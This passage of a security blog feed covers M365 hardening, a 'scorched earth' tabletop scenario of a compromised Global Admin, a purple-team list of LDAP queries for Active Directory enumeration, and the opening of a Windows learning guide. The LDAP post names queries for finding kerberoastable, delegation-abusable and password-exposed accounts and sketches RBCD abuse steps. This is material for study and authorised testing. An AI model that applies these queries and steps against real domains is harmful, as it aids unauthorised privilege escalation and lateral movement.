src="https://cdn-images-1.medium.com/max/1024/1*R_wMxPsZkEx3WR4-qFLRXQ.png" /></figure><p>In your Microsoft Authenticator Policy, you will have to select Passwordless instead of Any.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6jp5CFQuYU1T3uxJm8Lsg.png" /></figure><p>You will need to enable Authentication Strengths before you can use them in your Conditional Access Policies. You will need Passwordless MFA or Phishing-Resistant MFA enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hLCNhGW6fYKd9E6V44l2KQ.png" /></figure><p>You can configure Authentication Contexts in Conditional Access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1nIM5lsf80z1mV3p-FpyQ.png" /></figure><p>In your Conditional Access Policy for authentication, you will need to require the Passwordless MFA or Phishing-Resistant MFA Authentication Strengths in your Grant policies. Please note, if you are federated, you will have to configure similar settings in your primary Identity Provider (IdP).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwFp8u1A7bqR_yqFgYJWfw.png" /></figure><p>3. Require Named Location <strong>IP</strong> Allow Lists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g9sEWwTYUveHSXucL42hlQ.png" /></figure><p>4. Require Device Compliance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2H4K-xHlY6eBBKO7YFRolw.png" /></figure><p>5. Create auto-remediation with Power Automate. NOTE: This should be tested extensively because user experience issues are likely.</p><p>6. UPDATE 09/30/25: Ensure legacy Self Service Password Reset (SSPR) is migrated to to the new Authentication Policies SSPR” <a href="https://x.com/NathanMcNulty/status/1955782661957672965">https://x.com/NathanMcNulty/status/1955782661957672965</a></p><p>7. UPDATE 09/30/25: Ensure admin accounts are excluded from all Authentication Policies that are not phishing resistant.</p><h4>Malware/Payloads on User Devices</h4><p>If a device is compromised, you will need to depend on your NextGen firewalls, Screen policies, Browser policies, AV, and EDR. Your admins should be using a PAWs to elevate a role, which is a separate hardened device secured as a Tier 0 asset only used for administrative activities for Microsoft Cloud. Otherwise, an attacker can wait for them to elevate and use their tokens on the admin’s device to access the APIs then proxy the output back to them, even if PIM is enabled and requires a second admin’s approval.</p><h3>CHANGELOG</h3><p>From <strong>b3nj@m1n3ng3l </strong>on X on 09/23/25<strong>:</strong></p><p>For organizations that don’t have E5 licensing, you might want to consider the E5 Security and Mobility addon which can be found in the admin center Marketplace.</p><p>From <strong>@Collab_Seth</strong> on X on 09/23/25:</p><p>There are price reductions for Security and Mobility addons in Business Premium tenants coming in September 2025, so keep a look-out for these great additions to security for a low price!</p><p><a href="https://techcommunity.microsoft.com/blog/microsoft-security-blog/introducing-new-security-and-compliance-add-ons-for-microsoft-365-business-premi/4449297">Introducing new security and compliance add-ons for Microsoft 365 Business Premium | Microsoft Community Hub</a></p><p>09/23/25 to 09/27/25 — made several edits for readability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68eedb98f52d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scorched Earth: M365 and SaaS Disaster Recovery Tabletop Exercise]]></title>
            <link>https://ericazelic.medium.com/scorched-earth-m365-and-saas-disaster-recovery-tabletop-exercise-6ea9360fc265?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ea9360fc265</guid>
            <category><![CDATA[tabletop]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[global-admin-compromise]]></category>
            <category><![CDATA[m365]]></category>
            <category><![CDATA[disaster-recovery]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Sun, 14 Sep 2025 15:56:28 GMT</pubDate>
            <atom:updated>2025-09-15T00:54:39.432Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*7JZctFg32nHLg_5u3o6TXQ.png" /></figure><p>Every shield is also a sword.</p><p>If you’ve played a game before like Pros Vs Joes or CCDC, you’ve probably come across the term “Scorched Earth”. In Pros Vs Joes, it means the red team starts the destructive phase at the end of the game and takes away availability. In CCDC, it might mean that in order to protect the team from the red team, you take services offline and make them unavailable while you mitigate or remediate the attacks. Here, we are assuming breach of a Global Admin by a skilled adversary where you will lose availability in M365 and possibly SaaS integrations. The adversary’s goal in this scenario may be destruction, ransom, and/or extortion.</p><p>M365 and SaaS have become the heartbeat of organizations not using Google Workspace. Most organizations struggle with privileged access management. The threat landscape in the world of AI has evolved faster than we can keep up. The days of relying on phishing resistant MFA as our savior are over as new attacks have surfaced in the past two years to downgrade authentication strengths. These attacks are now well known. Moreover, most organizations don’t use Privileged Access Workstations (PAWs) for admin activity.</p><p>This post is designed to help organizations think through worst case scenarios, where they lose availability in M365 and SaaS, and are forced to recover. The premise is based on a Global Admin compromise where a PAWs is not in use. Other contributing factors could be:</p><ol><li>Approved named locations for admins are not configured</li><li>Authentication strengths are not configured appropriately</li><li>Authentication contexts are not configured appropriately</li><li>Device trust is not configured appropriately</li></ol><p>Some people may think that lack of the above configurations is unrealistic. It’s not unrealistic. In fact, it’s quite the opposite.</p><h3><strong>SCENARIO</strong>:</h3><p>A Global Admin has been compromised. It’s a holiday weekend. A threat actor has performed the following actions:</p><ol><li>Enabled Customer Lockbox</li><li>Created a new account and assigns it Global Admin</li><li>Created a dynamic group for everyone, including service accounts and excluded their new Global Admin account</li><li>Disabled the audit logs</li><li>Added full licensing to their Global Admin account</li><li>Created a Conditional Access Policy to Block everyone from accessing the tenant based on the dynamic group and excluded their new Global Admin</li><li>Turned off all existing CAPs except their CAP blocking all users from accessing M365</li><li>Created a CAP to block all users in the dynamic group from accessing Azure Management API, and excluded their Global Admin account only</li><li>Disabled all users except their Global Admin account</li><li>In Purview, the threat actor created a Sensitivity Label configuration with DKE or BYOK and places it in the highest priority. The threat actor is the only one with the key</li><li>Created an auto-labeling policy to label all data with new Sensitivity Label</li><li>In Purview, they deleted all publishing policies except the newly configured Sensitivity Label</li><li>Made themselves the owner of all employee OneDrives</li><li>Made themselves the owner of all SharePoint Sites, Teams, and Document Libraries</li><li>Created an app registration with sites.fullcontrol.all application permissions and copied all tenant and employee OneDrive data to their app</li><li>Went through all app registrations and deleted all existing secrets and replaced them with their own for every app registration</li><li>Went to Enterprise Apps and removed all API permissions of all Enterprise Apps and unassigned all of them</li><li>Deleted all Restricted Management Admin Units</li><li>Disabled all B2B trusts, direct connect, and application permissions</li><li>Disabled all cross tenant collaboration settings</li><li>Removed all federations</li><li>Disconnected from Active Directory</li><li>Removed all private domains</li><li>Disconnected Connectors in Exchange Online</li><li>Disabled SharePoint versioning</li><li>Disabled all partner permissions and GDAP</li><li>Disabled all Guests</li><li>Removed all non-Entra admins in all M365 admin centers</li><li>Disabled all Events Hubs and Defender APIs and Connectors</li><li>Created several backdoor Member and Guest accounts that are currently disabled with the rest of the user population</li><li>Created backdoor devices in Intune</li><li>Changed sharing configurations in SharePoint sites</li><li>Added adversary controlled trusted domains</li><li>Added adversary controlled backdoor federations in apps</li><li>Wrote a scheduled task to check for any new admins and deletes them which runs every second</li><li>Created an automation running every 5 seconds to ensure the Block policy for access is enabled and if it’s not, to recreate the Block policy</li><li>The threat actor sends C-Suite an extortion note to their private emails and phones</li></ol><p>Circulate this to all your stakeholders and determine your recovery path. In an incident, playbooks usually have a lot of hiccups, but it’s better to think through scorched earth scenarios ahead of time. When M365 and SaaS go down, business stops. How will you recover? How can you restore availability quickly? Since Microsoft owns the underlying infrastructure, they will be able to help you recover. How long will that take? What about all the data now being encrypted with DKE or BYOK? Do you have backups? Have you tried to recover them? Have you prioritized your integrations checklist for recovery?</p><h3><strong>What can you do now to prevent this?</strong></h3><ol><li>Configure authentication strengths to require FIDO2/webauthn or CBA in Conditional Access Authentication Grants.</li><li>Configure authentication contexts for all admins to require a managed device for access to their admin accounts.</li><li>Require a PAWs for all admin access to M365</li><li>Configure device trusts. Require company owned devices or trust with strong device compliance policies for access from all admin accounts</li><li>Configure approved named locations for admin access to M365. Admins should be cloud-only accounts and required to access through specific IPs</li><li>Configure your AD Connect or Federations, and PAWs as Tier 0</li><li>Configure admin approvals for elevation in PIM. Note: this will not prevent compromise if the admin’s device is compromised.</li><li>Validate that EDR is working as expected on admin endpoints during privileged access reviews.</li></ol><p>I’m sure there are many other mitigations not mentioned here, but the ones above will take you a long way when configured correctly.</p><p>You will never be fully prepared for a disaster, but thinking this through ahead of time can save the organization a lot of money and enable a quick recovery.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ea9360fc265" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LDAP Queries for Offensive and Defensive Operations]]></title>
            <link>https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b035b816814</guid>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Fri, 08 Nov 2024 08:45:08 GMT</pubDate>
            <atom:updated>2024-11-08T08:45:08.866Z</atom:updated>
            <content:encoded><![CDATA[<p>This article was originally written in July 2023 and was moved here in November 2024.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*zwwBTRLa3HAnFiTs.png" /></figure><p>In the age of BloodHound, many consultants have become accustomed to let this very powerful tool do much of the heavy lifting in domain enumeration. BloodHound integrates a strong visual perspective, security descriptors, inbound and outbound object controls, exploit information, OPSEC considerations, and so much more. It’s as much a defensive tool as it is an offensive tool. However, some engagements may prefer consultants to take a “low and slow” approach to see what useful information can be acquired about the directory and its objects without BloodHound.</p><p>None of the queries outlined here are new or late breaking information. With the exception of a few, they’ve been acquired from multiple resources around the web as referenced below. In fact, the first <a href="https://ldap.com/ldap-related-rfcs/">LDAP RFCs</a> date back to at least 1997 for LDAP version 3. There are numerous blogs, RFCs, and <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a">technical specifications</a>; all explaining how to gather information from AD DS with LDAP queries.</p><p>The intention of this post is to provide basic queries for targeted AD DS information gathering used in penetration testing. The reader can pick their poison when deciding how to deliver them. Some delivery method examples include vbscript, powershell (i.e. adsi and adsisearcher type accelerators), dsquery, ADExplorer, AdsiEdit, javascript, win32API, .NET languages, ldapsearch, adfind, adsearch, and likely many others. Equally, defenders can use these queries to test their detection capabilities when large traffic spikes may not be produced, see what attackers will see from various perspectives within their environment, and aid to remediate domain privilege escalation and lateral movement opportunities from breach hosts.</p><p><strong>1. Find directory information about my current user.</strong></p><p>For example: let’s assume my user’s samaccountname is ericazelic</p><pre>dsquery * -filter &quot;(&amp;(objectCategory=person)(objectClass=user)(samaccountname=ericazelic))&quot; -limit 0 -attr *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/0*MwA30K-VUDkGCUuI.png" /></figure><p><strong>2. Find all Domain Controllers (DC):</strong></p><p>Some tests may require two domain controllers (i.e. zerologon, NTLM downgrade relay over LDAP with authentication on second DC). Other places this information may be available is the DNS Client Cache, or klist. However, having a list of all of them may be useful.</p><pre>(&amp;(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))</pre><p><strong>3. Look for places (servers) to move laterally.</strong></p><p>Traditional penetration tests often rely on Nessus and/or nmap scans. With LDAP enumeration, you can find all servers in the directory that are not DCs to look for information gathering, and lateral movement opportunities:</p><pre>(&amp;(objectCategory=computer)(operatingSystem=*server*)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/0*Js14na1BTP_XPZY6.png" /></figure><p><strong>4. Find certificate authorities and publishers:</strong></p><pre>(CN=&quot;Cert Publishers&quot;*)</pre><p><strong>5. Find all organizational units (OU) :</strong></p><p>Different OUs may have different group policies, targeted configurations, and administrators:</p><pre>(objectCategory=organizationalUnit)</pre><p>VBScript example:</p><pre>ON Error Resume Next</pre><pre>Const ADS_SCOPE_SUBTREE = 2</pre><pre>Set objConnection = CreateObject(&quot;ADODB.Connection&quot;)<br>Set objCommand = CreateObject(&quot;ADODB.Command&quot;)<br>objConnection.Provider = &quot;ADsDSOObject&quot;<br>objConnection.Open &quot;Active Directory Provider&quot;<br>Set objCommand.ActiveConnection = objConnection</pre><pre>objCommand.Properties(&quot;Page Size&quot;) = 1000<br>objCommand.Properties(&quot;Searchscope&quot;) = 2<br>objCmd.Properties(&quot;Timeout&quot;) = 30<br>objCmd.Properties(&quot;Cache Results&quot;) = False</pre><pre>objCommand.CommandText = _<br>&quot;SELECT Name FROM &#39;LDAP://DC=ad,DC=yummy,DC=tacos&#39; WHERE objectCategory=&#39;organizationalUnit&#39;&quot;<br>Set objRecordSet = objCommand.Execute</pre><pre>objRecordSet.MoveFirst<br>Do Until objRecordSet.EOF<br>Wscript.Echo objRecordSet.Fields(&quot;Name&quot;).Value<br>objRecordSet.MoveNext<br>Loop</pre><p><strong>6. Find all Containers :</strong></p><p>Look for non-default AD containers. Sometimes organizations will have containers for shares, authentication, and other uses.</p><pre>(objectCategory=container)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*jsdnghKrDoIsvfvN.png" /></figure><p><strong>7. Find accounts with a serviceprincipalname (SPN):</strong></p><p>Finding accounts with SPNs helps us identify kerberoastable accounts as well as helps us understand what services are running where in the environment. In some cases, if we have the ability to write to an object in the directory, we could add a serviceprincipalname to the object to make it kerberoastable. This query could also be used to help us confirm the serviceprincipalname was added:</p><p>DSQuery:</p><pre>* -filter &quot;(&amp;(objectClass=User)(serviceprincipalname=*)(samaccountname=*))&quot; -limit 0 -attr samaccountname serviceprincipalname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*9mV6ZDpbFk3TY5oz.png" /></figure><p>Powershell:</p><pre>([adsisearcher]&#39;(servicePrincipalName=*)&#39;).FindAll()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OrZbCxNNax8_SBwM.png" /></figure><p><strong>8. Constrained Delegation:</strong></p><p>Accounts with constrained delegation allow you to impersonate any domain user account as long as it’s not flagged with “Account is sensitive and cannot be delegated” or a member of the Protected Users group:</p><pre>(&amp;(objectClass=User)(msDS-AllowedToDelegateTo=*))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/0*G9GHPEv9gP3jK0MU.png" /></figure><p><strong>9. Unconstrained Delegation (will include DCs) :</strong></p><p>Unless an account is marked “Account is sensitive and cannot be delegated” or a member of Protected Users group, you can coerce authentications and dump the TGT which is stored in memory and can be extracted:</p><pre>(userAccountControl:1.2.840.113556.1.4.803:=524288)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/0*dwN-1xk4L-72dXvp.png" /></figure><p><strong>10. Resource Based Constrained Delegation (RBCD):</strong></p><p>Looking for RBCD helps us to identify targets in potential attack paths as well as allows us to check the object attribute when setting it ourselves. A discussion of RBCD is beyond the scope of this post, however, a great reference is Elad Shamir’s <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html">Wagging the Dog</a> blog post.</p><pre>(msDS-AllowedToActOnBehalfOfOtherIdentity=*)</pre><p>For example, if machineaccountquota is &gt; 0, we can use powermad to add a machine account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*6eJA2Ju7ATEzscVm.png" /></figure><p>Using dsquery to check if the machine account was created and list the SID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/0*12Sx7gaRAlLTTJVK.png" /></figure><p>Add a raw security descriptor to the msds-allowedtoactonbehalfofotheridentity and check it was successfully added with dsquery:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/0*FwryaarTKC-6sZuo.png" /></figure><p>Now we can use the NT hash as the RC4 key to get a Kerberos ticket and impersonate other domain users to complete the attack.</p><p><strong>11. Accounts Not Trusted for Delegation:</strong></p><p>If this attribute is set, accounts cannot be used in delegations discussed above.</p><pre>(&amp;(samaccountname=*)(userAccountControl:1.2.840.113556.1.4.803:=1048576))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/0*9OWBNFgRLyg5TQZx.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*kwejc47c3TepY6lb.png" /></figure><p><strong>12. Shadow Credentials:</strong></p><p>In domains using Active Directory Certificate Service (AD CS) and a domain controller (DC) with PKINIT enabled that’s 2016 or later, we may be able to modify this attribute to take over user and computer accounts. Once we have generated a certificate and written to the attribute, we can confirm the modification with this LDAP query. More about Shadow Credentials can be found <a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">here</a>.</p><pre>(msDS-KeyCredentialLink=*)</pre><p><strong>13. Kerberos Pre-Authentication Disabled:</strong></p><p>Although rare, an account with this attribute means it is AS-REP roastable.</p><pre>(&amp;(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*KLAyRe8cjlJEhN4y.png" /></figure><p><strong>14. Kerberoastable Users:</strong></p><p>This query will help us find user accounts that are kerberoastable. This means we may be able to crack the password offline and forge a silver ticket, or use the credentials alone to move laterally.</p><pre>(&amp;(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(samaccounttype=805306369)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/0*gPfJnNNkZ8Ijmaeq.png" /></figure><p><strong>15. Members of a group through nesting:</strong></p><p>Many directories will have users that are not direct members of a group but have the group’s privileges due to nesting.</p><pre>(memberOf:1.2.840.113556.1.4.1941:=cn=Test,ou=East,dc=Domain,dc=com)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*3kB5Lrxl9yie9FA-.png" /></figure><p><strong>16. Users Not Required to Have a Password:</strong></p><p>This helps us find opportunities for lateral movement. <a href="https://learn.microsoft.com/en-us/answers/questions/42973/password-not-required-attribute-is-true-does-this">According to Microsoft</a>, even if a password is required by group policy (GP), this setting will override the GP.</p><pre>(&amp;(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/0*eKFgZWYYYRHYogLj.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*FzUq8uYZDJVhRkbu.png" /></figure><p><strong>17. Groups:</strong></p><p>This enables you to view all the groups in the directory and identify groups that may have administrative permissions as possible targets, additional information about the technology stack, and other useful information about the environment.</p><pre>(objectCategory=group)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/0*8OtlxnjJccNYosdr.png" /></figure><p><strong>18. Protected Users Group:</strong></p><p>Members of this group can only sign on using Kerberos. If an account is in the Protected Users group, delegations and NTLM pass-the-hash attacks will not work. Also, DES or RC4 encryption types in Kerberos pre-authentication will fail, Kerberos TGTs cannot be renewed beyond their initial 4 hour period, and passwords will not be cached.</p><pre>(&amp;(objectCategory=CN=group,CN=Schema,CN=configuration,DC=yourDomainName,DC=yourDomainExtension)(samaccountname=Protect*)(member=*))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*wnT8C0COhCzjomkt.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*OJjJtPS04q-zGGPl.png" /></figure><p><strong>19. User Objects With Description:</strong></p><p>The description attributes of user directory objects sometimes contain passwords or additional useful information about users.</p><pre>(&amp;(objectCategory=user)(description=*))</pre><p><strong>20. Computer Objects With Description:</strong></p><p>The description attribute of computer objects sometimes reveals additional information about the system and its purpose that may not be derived from the NetBIOS name.</p><pre>(&amp;(objectCategory=computer)(description=*))</pre><p><strong>21. Passwords Don’t Expire:</strong></p><p>Accounts with old passwords may be more vulnerable. For example, we could look at breach information and create more precise lists for low and slow <a href="https://www.youtube.com/watch?v=VxbC03xmS60&amp;t=1080s">brute force</a> attacks (not ideal) ensuring we don’t lockout users.</p><pre>(&amp;(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/0*rW11UiMAPvj0q1uk.png" /></figure><p><strong>22. User Must Change Password on Next Login:</strong></p><p>Some organizations may use a scripted password when doing password changes. Suppose we find that password on a share with <a href="https://github.com/SnaffCon/Snaffler">Snaffler</a>. We may be able to use tools like <a href="https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html">smbpasswd</a> or <a href="https://www.youtube.com/watch?v=IfCysW0Od8w">rpcclient </a>to change it from Linux. This is probably a bad idea to do on a penetration test without asking the client first. It’s generally a bad idea to change users’ passwords unless you have the ability to change them back before they notice and have permission from the client when consulting.</p><p>As for the pwdlastset=0 attribute, according to <a href="https://learn.microsoft.com/en-us/services-hub/health/remediation-steps-ad/review-accounts-whose-attribute-pwdlastset-has-a-zero-value">Microsoft</a>, there are 3 occurrences you may see this attribute set to zero:</p><ul><li>Where an account has been created but a password has not been assigned.</li><li>Where an account has been created and the administrator has assigned a password but selected the option to change password at next logon.</li><li>Where the administrator has selected the option to require a user to change their password at the next logon as part of managing that user’s account, such as after a password reset.</li></ul><pre>(&amp;(objectCategory=person)(objectClass=user)(pwdLastSet=0)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ma9ozYCohZyGwAZN.png" /></figure><p><strong>23. User Objects with Elevated Domain Rights:</strong></p><p>Usually, if an object has this attribute set, it is part of a protected group with elevated domain privileges, or once was. Examples of security groups where this attribute is known to enable domain privilege escalation include backup operators, account operators, server operators, print operators, domain admins, enterprise admins, schema admins, dnsadmins, and sometimes read-only domain controllers. If an account is a member of one of these groups, either directly or indirectly, we can gain control of the domain. Knowing which directory objects have this attribute set helps us create a list of targets. It’s not unusual to see kerberoastable service accounts with this attribute value although passwords for service accounts have become harder to crack offline in recent years due to stronger passwords on high value service accounts.</p><pre>(&amp;(objectClass=user)(admincount=1)(!(samaccountname=krbtgt))(!(samaccountname=administrator)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*nZe9v9Sd6l6GasrX.png" /></figure><p><strong>24. User Accounts with SID History:</strong></p><p>Accounts with SIDHistory may have access in other domains.</p><pre>(&amp;(objectCategory=Person)(objectClass=User)(sidHistory=*))</pre><p><strong>25. Generate a List of User Accounts samaccountname:</strong></p><pre>(&amp;(objectCategory=Person)(objectClass=User)(samaccountname=*))</pre><p><strong>26. Generate a list of computer object names:</strong></p><pre>(&amp;(objectClass=Computer)(samaccountname=*))</pre><h3>REFERENCES</h3><p><strong>CHANGELOG:</strong></p><p>First publication: 07/05/2023</p><p>Updated <a href="https://www.politoinc.com/blog/hashtags/26">#26</a> to computer object: 07/06/2023</p><p><strong>REFERENCES:</strong></p><p><a href="https://qa.social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx">https://qa.social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx</a></p><p><a href="https://ldap.com/ldap-related-rfcs/">https://ldap.com/ldap-related-rfcs/</a></p><p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a</a></p><p><a href="https://blogs.uw.edu/kool/2016/10/26/kerberos-delegation-in-active-directory/">https://blogs.uw.edu/kool/2016/10/26/kerberos-delegation-in-active-directory/</a></p><p><a href="https://rootdse.org/posts/active-directory-security-2/">https://rootdse.org/posts/active-directory-security-2/</a></p><p><a href="https://learn.microsoft.com/en-us/windows/win32/adsi/active-directory-service-interfaces-adsi">https://learn.microsoft.com/en-us/windows/win32/adsi/active-directory-service-interfaces-adsi</a></p><p><a href="https://www.ired.team/">https://www.ired.team/</a></p><p><a href="https://book.hacktricks.xyz/welcome/readme">https://book.hacktricks.xyz/welcome/readme</a></p><p><a href="https://www.thehacker.recipes/">https://www.thehacker.recipes/</a></p><p><a href="https://learn.microsoft.com/en-us/azure/active-directory-domain-services/create-ou">https://learn.microsoft.com/en-us/azure/active-directory-domain-services/create-ou</a></p><p><a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group">https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group</a></p><p><a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab</a></p><p><a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html">https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html</a></p><p><a href="https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html">https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html</a></p><p><a href="https://www.youtube.com/watch?v=IfCysW0Od8w">https://www.youtube.com/watch?v=IfCysW0Od8w</a></p><p><a href="https://github.com/SnaffCon/Snaffler">https://github.com/SnaffCon/Snaffler</a></p><p><a href="https://learn.microsoft.com/en-us/services-hub/health/remediation-steps-ad/review-accounts-whose-attribute-pwdlastset-has-a-zero-value">https://learn.microsoft.com/en-us/services-hub/health/remediation-steps-ad/review-accounts-whose-attribute-pwdlastset-has-a-zero-value</a></p><p><a href="https://www.youtube.com/watch?v=VxbC03xmS60&amp;t=1080s">https://www.youtube.com/watch?v=VxbC03xmS60&amp;t=1080s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b035b816814" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guide to Self-Learning Windows and Active Directory: Part II]]></title>
            <link>https://ericazelic.medium.com/guide-to-self-learning-windows-and-active-directory-part-ii-75c89dfbaf63?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/75c89dfbaf63</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[windows-protocols]]></category>
            <category><![CDATA[sysinternals]]></category>
            <category><![CDATA[cis-benchmarks]]></category>
            <category><![CDATA[windows-internals]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Sat, 11 Jun 2022 05:40:50 GMT</pubDate>
            <atom:updated>2022-06-12T04:37:15.605Z</atom:updated>
            <content:encoded><![CDATA[<p>June 2022</p><p>Now that you’ve had some time to delve into the suggestions in the <a href="https://ericazelic.medium.com/beginners-guide-to-self-learning-windows-and-active-directory-part-1-b665399d252f">Beginners Guide to Self-Learning Windows and Active Directory Part I</a>, we can dig a bit deeper. In this post, I’ll share some of the next steps I’ve taken in my journey in self-learning Windows and Active Directory, namely internals, protocol technical specifications and overviews, and some security.</p><p>While there has been a large shift to cloud and hybrid environments as discussed in the previous post, on-premises Windows and Active Directory are not going away. Therefore, in fashion with the previous post, this post will focus on on-premises Windows and Active Directory.</p><h3>1. WINDOWS INTERNALS</h3><p>Up to this point if following along with Part I, you’ve spent somewhere between $300-$500 for a used server and power cord to set up your lab. Now it’s time to invest a bit more money in some books:</p><p><em>Inside Windows NT</em> — This book comes in 2 editions and either is fine. If you’re anything like me, I have to go all the way back to the beginning and try to get into the mindset of the designers and developers of the first Windows NT operating system.</p><p><a href="https://www.amazon.com/Inside-Windows-NT-Helen-Custer/dp/155615481X">Inside Windows NT</a></p><p>The <em>Windows Internals</em> books are extensions on Helen Custer’s first edition of <em>Inside Windows NT</em>. They are currently in the 7th edition focused on Windows 10 and Server 2016. While some say the <em>Windows Internals</em> books are more of a developer reference, there is still much to be gained as a system administrator, security researcher, or even just a hobbyist like myself.</p><p><em>Windows Internals Part 1</em>: This book focuses on system architecture, processes, threads, memory management, IO, and Security.</p><p><a href="https://www.amazon.com/Windows-Internals-Part-architecture-management/dp/0735684189/ref=asc_df_0735684189/?tag=hyprod-20&amp;linkCode=df0&amp;hvadid=312060980065&amp;hvpos=&amp;hvnetw=g&amp;hvrand=4049653045468044133&amp;hvpone=&amp;hvptwo=&amp;hvqmt=&amp;hvdev=c&amp;hvdvcmdl=&amp;hvlocint=&amp;hvlocphy=9030909&amp;hvtargid=pla-347567730684&amp;psc=1">Windows Internals, Part 1: System architecture, processes, threads, memory management, and more (Developer Reference)</a></p><p><em>Windows Internals Part 2:</em> This book focuses on system mechanisms, virtualization technologies, management, diagnostics, tracing, caching, file systems, startup and shutdown.</p><p><a href="https://www.amazon.com/Windows-Internals-Part-2-7th/dp/0135462401/ref=asc_df_0135462401/?tag=hyprod-20&amp;linkCode=df0&amp;hvadid=459538011055&amp;hvpos=&amp;hvnetw=g&amp;hvrand=16896374367596500630&amp;hvpone=&amp;hvptwo=&amp;hvqmt=&amp;hvdev=c&amp;hvdvcmdl=&amp;hvlocint=&amp;hvlocphy=9030909&amp;hvtargid=pla-636533867693&amp;psc=1">Windows Internals, Part 2 (Developer Reference)</a></p><p>If you can afford more <em>Windows Internals</em> editions, the 3rd through 6th editions cover major changes in Windows 2000, XP, 2003, Vista, Windows 7, 2008, and 2012.</p><p>One might think there cannot possibly be more to self-learning Windows and Active Directory than what’s included in Part I of this blog post and <em>Windows Internals</em> books, right? Wrong. We are just scratching the surface.</p><h3><strong>2. SYSINTERNALS</strong></h3><p>Now it’s time for some hands on keyboard hacktivities after all that reading. Fire up your lab because it’s time to have some fun!</p><p><a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals - Windows Sysinternals</a></p><p>Open a command prompt, pick a directory, and 